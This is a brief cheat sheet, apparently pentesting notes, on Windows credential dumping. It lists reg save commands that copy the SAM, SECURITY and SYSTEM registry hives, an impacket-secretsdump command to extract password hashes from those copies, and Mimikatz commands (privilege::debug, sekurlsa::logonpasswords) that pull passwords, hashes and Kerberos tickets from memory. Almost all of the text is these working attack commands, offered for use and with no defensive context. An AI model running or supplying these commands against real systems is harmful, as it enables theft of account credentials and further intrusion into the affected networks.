process of obtaining account login and password information, normally in the form of a hash or a clear text password.
reg save hklm\\sam c:\\temp\\sam.save
reg save hklm\\security c:\\temp\\security.save
reg save hklm\\system c:\\temp\\system.save
on our own host:
impacket-secretsdump -sam sam.save -security security.save -system system.save LoOCAL
Mimikatz is a leading post-exploitation tool that dumps passwords from memory, as well as hashes, PINs and Kerberos tickets.
Link: https://github.com/gentilkiwi/mimikatz
Ask for debug privilege for mimikatz process. (have to be done first)
privilege::debug
Clear screen
Cls
Exit mimikatz
Exit
Dump credentials:
privilege::debug
sekurlsa::logonpasswords